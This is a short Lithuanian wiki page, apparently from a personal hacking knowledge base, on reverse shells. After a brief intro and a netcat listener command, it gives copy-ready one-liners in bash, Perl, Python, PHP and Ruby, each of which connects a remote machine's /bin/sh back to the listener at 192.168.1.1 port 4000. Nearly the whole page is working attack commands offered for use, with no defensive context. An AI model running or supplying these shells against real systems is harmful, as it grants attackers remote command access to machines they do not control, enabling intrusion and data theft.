Reverse shellai

Iš Žinynas.
10:31, 18 birželio 2016 versija, sukurta \dev\null (Aptarimas | indėlis)
(skirt) ← Ankstesnė versija | Dabartinė versija (skirt) | Vėlesnė versija → (skirt)
Jump to navigation Jump to search

Koncepcija paprasta, lokaliame kompiuteryje paleidžiamas klausymosi įrankis (šiuo atveju netcat), iš nutolusios mašinos laukiama prisijungimo bei shell redirect'o. Nutolusioje mašinoje išmėginsime įvairius metodus kol gausime tinkamiausią ir veikiantį.

Keletas faktų:

  • Nutolusios mašinos ip: 192.168.1.38
  • Lokalios mašinos ip: 192.168.1.1

Lokalios mašinos paruošimas[keisti]

Paleidžiame netcat (pasiklausymo režimu)

nc -lvp 4000

Nutolusios mašinos reverse shell metodai[keisti]

Bash[keisti]

bash -i >& /dev/tcp/192.168.1.1/4000 0>&1

Perl[keisti]

perl -e 'use Socket;$i="192.168.1.1";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Bidonas (2.7)[keisti]

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Php[keisti]

php -r '$sock=fsockopen("192.168.1.1",4000);exec("/bin/sh -i <&3 >&3 2>&3");' 

Rublis[keisti]

ruby -rsocket -e'f=TCPSocket.open("192.168.1.1",4000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'